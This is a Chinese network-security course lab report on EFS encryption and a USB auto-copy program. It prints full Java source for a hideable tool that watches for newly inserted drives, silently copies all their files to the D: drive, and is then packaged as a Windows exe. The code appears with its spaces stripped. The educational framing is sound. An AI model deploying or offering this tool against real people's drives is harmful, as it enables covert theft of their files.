網(wǎng)絡(luò)安全導(dǎo)論 實(shí)驗(yàn)15A 文件加密與U盤文件自動(dòng)拷貝_第1頁
網(wǎng)絡(luò)安全導(dǎo)論 實(shí)驗(yàn)15A 文件加密與U盤文件自動(dòng)拷貝_第2頁
網(wǎng)絡(luò)安全導(dǎo)論 實(shí)驗(yàn)15A 文件加密與U盤文件自動(dòng)拷貝_第3頁
網(wǎng)絡(luò)安全導(dǎo)論 實(shí)驗(yàn)15A 文件加密與U盤文件自動(dòng)拷貝_第4頁
網(wǎng)絡(luò)安全導(dǎo)論 實(shí)驗(yàn)15A 文件加密與U盤文件自動(dòng)拷貝_第5頁
已閱讀5頁,還剩17頁未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

實(shí)驗(yàn)15A文件加密與U盤文件自動(dòng)拷貝一、實(shí)驗(yàn)?zāi)康模?)熟悉EFS的使用方法(2)熟悉移動(dòng)存儲(chǔ)信息的安全保護(hù)措施,掌握盤符遍歷、拷貝指定類型的文件等方法。(3)深化對(duì)完全備分、增量備份和差異備份的理解。二、實(shí)驗(yàn)準(zhǔn)備(1)文件加密的實(shí)現(xiàn)方法可分為使用系統(tǒng)自帶的文件加密功能、采用商業(yè)化加密軟件和自編加密軟件。Windows10自帶的加密文件系統(tǒng)(EFS)可以加密NTFS卷上的文件和目錄。EFS加密是基于公鑰策略的。加密時(shí),系統(tǒng)首先會(huì)生成一個(gè)由偽隨機(jī)數(shù)組成的FEK(FileEncryptionKey,文件加密鑰匙),然后利用FEK和數(shù)據(jù)擴(kuò)展標(biāo)準(zhǔn)X算法創(chuàng)建加密后的文件,并把它存儲(chǔ)到硬盤上,同時(shí)刪除未加密的原始文件。隨后系統(tǒng)利用公鑰加密FEK,并把加密后的FEK存儲(chǔ)在同一個(gè)加密文件中。而在訪問被加密的文件時(shí),系統(tǒng)首先利用當(dāng)前用戶的私鑰解密FEK,然后利用FEK解密出文件。在首次使用EFS時(shí),如果用戶還沒有公鑰/私鑰對(duì)(統(tǒng)稱為密鑰),則會(huì)首先生成密鑰,然后加密數(shù)據(jù)。(2)U盤自動(dòng)拷貝程序能時(shí)刻監(jiān)控電腦USB端口,對(duì)所有插入的移動(dòng)存貯設(shè)備,依據(jù)預(yù)先設(shè)置的文件類型把文件轉(zhuǎn)移到電腦指定位置。請(qǐng)讀者分析這類程序的好處和危害,從而深化對(duì)職業(yè)道德底線的理解。(3)完全備份是指拷貝給定計(jì)算機(jī)或文件系統(tǒng)的所有文件,而不管它是否改變,差異備份只備份在上一次完全備份后有變化的部分?jǐn)?shù)據(jù),增量備份只備份上一次備份后增加、改動(dòng)的部分?jǐn)?shù)據(jù)。三、實(shí)驗(yàn)內(nèi)容1.Windows10下設(shè)置管理文件加密證書(1)、打開【控制面板】,左鍵雙擊【用戶帳戶】(2)、在用戶帳戶窗口,點(diǎn)擊【管理文件加密證書】,打開加密文件系統(tǒng)(3)、在加密文件系統(tǒng)窗口,先閱讀顯示的有關(guān)內(nèi)容,再點(diǎn)擊:下一步(N)(4)、在證書詳細(xì)信息(D)欄中提示:你的計(jì)算機(jī)當(dāng)前沒有文件加密證書,請(qǐng)創(chuàng)建一個(gè)新證書...,我們默認(rèn)創(chuàng)建新證書(C),點(diǎn)擊:下一步(N)(5)、在創(chuàng)建證書窗口,我們默認(rèn)生成新的自簽名證書并將它儲(chǔ)存在我的計(jì)算機(jī)上(C),點(diǎn)擊:下一步(N),(6)、保存以后,打開加密文件系統(tǒng)-備份證書和密鑰窗口,在密碼(P)欄輸入密碼,在確認(rèn)密碼(M)欄再次輸入相同的密碼,點(diǎn)擊下一步(N)(注意:記住密鑰,不然以后就打不開了的)。2.閱讀、分析、并以Myeclipse為平臺(tái),調(diào)試下列代碼(1)USBMain.javapackagewer;importjava.awt.event.ActionEvent;importjava.awt.event.ActionListener;importjavax.swing.JButton;importjavax.swing.JFrame;publicclassUSBMain{ publicstaticvoidmain(String[]args){ USBMainu=newUSBMain(); u.launchFrame(); //開啟盤符檢查線程 newCheckRootThread().start(); } //界面 privatevoidlaunchFrame(){ finalJFrameframe=newJFrame(); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setLocation(450,250); JButtonhide=newJButton("點(diǎn)擊隱藏窗口"); //點(diǎn)擊按鈕后隱藏窗口事件監(jiān)聽 hide.addActionListener(newActionListener(){ publicvoidactionPerformed(ActionEvente){ frame.setVisible(false); } }); frame.add(hide); frame.pack(); frame.setVisible(true); }}(2)CopyThread.javapackagewer;importjava.io.File;//該類用于對(duì)新盤符文件的復(fù)制publicclassCopyThreadextendsThread{//設(shè)置要復(fù)制的文件類型,如果要復(fù)制所有格式的文件,將fileTypes設(shè)為null即可//privatestaticString[]fileTypes={"doc","ppt",""};privatestaticString[]fileTypes=null;Filefile=null;publicCopyThread(Filefile){this.file=file;}publicvoidrun(){listUsbFiles(file);}//遍歷盤符文件,并匹配文件復(fù)制privatevoidlistUsbFiles(Fileufile){File[]files=ufile.listFiles();for(Filee:files){if(e.isDirectory()){listUsbFiles(e);}else{if(fileTypeMatch(e))newCopyFileToSysRoot(e).doCopy();}}}//匹配要復(fù)制的文件類型publicbooleanfileTypeMatch(Filee){//fileTypes為null時(shí),則全部復(fù)制if(fileTypes==null){returntrue;}else{for(Stringtype:fileTypes){if(e.getName().endsWith("."+type)){returntrue;}}}returnfalse;}}(3)CopyFileToSysRoot.javapackagewer;importjava.io.BufferedInputStream;importjava.io.BufferedOutputStream;importjava.io.File;importjava.io.FileInputStream;importjava.io.FileNotFoundException;importjava.io.FileOutputStream;importjava.io.IOException;//文件復(fù)制IOpublicclassCopyFileToSysRoot{ //復(fù)制文件保存路徑 privatestaticfinalStringPATH="D:"; privateFilefile=null; publicCopyFileToSysRoot(Filefile){ this.file=file; } //復(fù)制文件 publicvoiddoCopy(){ BufferedInputStreambis=null; BufferedOutputStreambos=null; try{ //創(chuàng)建目錄 FilefPath=newFile(getFileParent(file)); if(!fPath.exists()){ fPath.mkdirs(); } bis=newBufferedInputStream(newFileInputStream(file)); bos=newBufferedOutputStream(newFileOutputStream(newFile(fPath, file.getName()))); byte[]buf=newbyte[1024]; intlen=0; while((len=bis.read(buf))!=-1){ bos.write(buf,0,len); bos.flush(); } }catch(FileNotFoundExceptione){ e.printStackTrace(); }catch(IOExceptione){ e.printStackTrace(); }finally{ try{ if(bis!=null) bis.close(); }catch(IOExceptione){ e.printStackTrace(); } try{ if(bos!=null) bos.close(); }catch(IOExceptione){ e.printStackTrace(); } } } //根據(jù)盤符中文件的路徑,創(chuàng)建復(fù)制文件的文件路徑 publicStringgetFileParent(Filee){ StringBuildersb=newStringBuilder(e.getParent()); inti=sb.indexOf(File.separator); sb.replace(0,i,PATH); returnsb.toString(); }} (4)CheckRootThread.javapackagewer;importjava.io.File;//此類用于檢查新盤符的出現(xiàn),并觸發(fā)新盤符文件的拷貝publicclassCheckRootThreadextendsThread{ //獲取系統(tǒng)盤符 privateFile[]sysRoot=File.listRoots(); publicvoidrun(){ File[]currentRoot=null; while(true){ //當(dāng)前的系統(tǒng)盤符 currentRoot=File.listRoots(); if(currentRoot.length>sysRoot.length){ for(inti=currentRoot.length-1;i>=0;i--){ booleanisNewRoot=true; for(intj=sysRoot.length-1;j>=0;j--){ //當(dāng)兩者盤符不同時(shí),觸發(fā)新盤符文件的拷貝 if(currentRoot[i].equals(sysRoot[j])){ isNewRoot=false; } } if(isNewRoot){ newCopyThread(currentRoot[i]).start(); } } } sysRoot=File.listRoots(); //每5秒時(shí)間檢查一次系統(tǒng)盤符 try{ Thread.sleep(5000); }catch(InterruptedExceptione){ e.printStackTrace(); } } }}把代碼寫到eclipse中,運(yùn)行結(jié)果如下:3.用exe4j軟件封裝,使上述程序成為能夠在Windows平臺(tái)上運(yùn)行的exe程序。1)、安裝完exe4j,打開軟件,點(diǎn)擊下一步,開始界面如下:2)、選擇工程類型為”JARinEXE”mode,點(diǎn)擊下一步:3)、輸入項(xiàng)目應(yīng)用名稱,選擇輸出路徑,點(diǎn)擊下一步4)、選擇可執(zhí)行文件的類型,輸入可執(zhí)行文件的文件名,點(diǎn)擊下一步5)、選擇生成的jar包路徑,并輸入對(duì)應(yīng)的mainclass路徑,點(diǎn)擊下一步6)、設(shè)置好目標(biāo)生成文件的jre版本范圍,點(diǎn)擊下一步7)、這里跳過運(yùn)行圖標(biāo),直接點(diǎn)擊下一步8)、點(diǎn)擊下一步,軟件開始生成exe可執(zhí)行文件了。9)、最終的目標(biāo)生成文件4.在運(yùn)行該程序的機(jī)器上插入U(xiǎn)盤,測(cè)試拷貝效果。四、實(shí)驗(yàn)報(bào)告通過實(shí)驗(yàn)回答下列問題如何利用上述U盤拷貝程序僅拷貝U盤的.txt文件?CopyThread用于對(duì)新盤符文件的復(fù)制,設(shè)置要復(fù)制的文件類型,如果要復(fù)制所有格式的文件,將fileTypes設(shè)為null即可;遍歷盤符文件,并匹配文件復(fù)制,根據(jù)盤符中文件的路徑,創(chuàng)建復(fù)制文件的文件路徑。上述盤拷貝程序是如何處理U盤中的多級(jí)目錄的?CopyFileToSysRoot根據(jù)盤符中文件的路徑,創(chuàng)建復(fù)制文件的文件路徑,CheckRootThread用于檢查新盤符的出現(xiàn),并觸發(fā)新盤符文件的拷貝:獲取系統(tǒng)盤符,當(dāng)兩者盤符不同時(shí),觸發(fā)新盤符文件的拷貝。給出本實(shí)現(xiàn)的測(cè)試結(jié)果。第一個(gè)實(shí)驗(yàn)生成的加密證書如下:第二個(gè)實(shí)驗(yàn)生成的可執(zhí)行文件如下:簡(jiǎn)答題現(xiàn)在流行的竊取文件的方式有哪些?1.網(wǎng)絡(luò)基礎(chǔ)設(shè)施攻擊:VLAN跳躍攻擊、VTP攻擊、生成樹攻擊、洪水攻擊交換機(jī)MAC表、ARP欺騙、MAC地址欺騙、攻擊DHCP服務(wù)器、針對(duì)RIP的攻擊、針對(duì)OSPF路由協(xié)議的攻擊、針對(duì)IS-IS路由協(xié)議的攻擊、針對(duì)BGP的攻擊、DNS劫持、騙取偽造數(shù)字證書攻擊、SSL代理攻擊、SSLstrip攻擊;2.應(yīng)用層攻擊

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論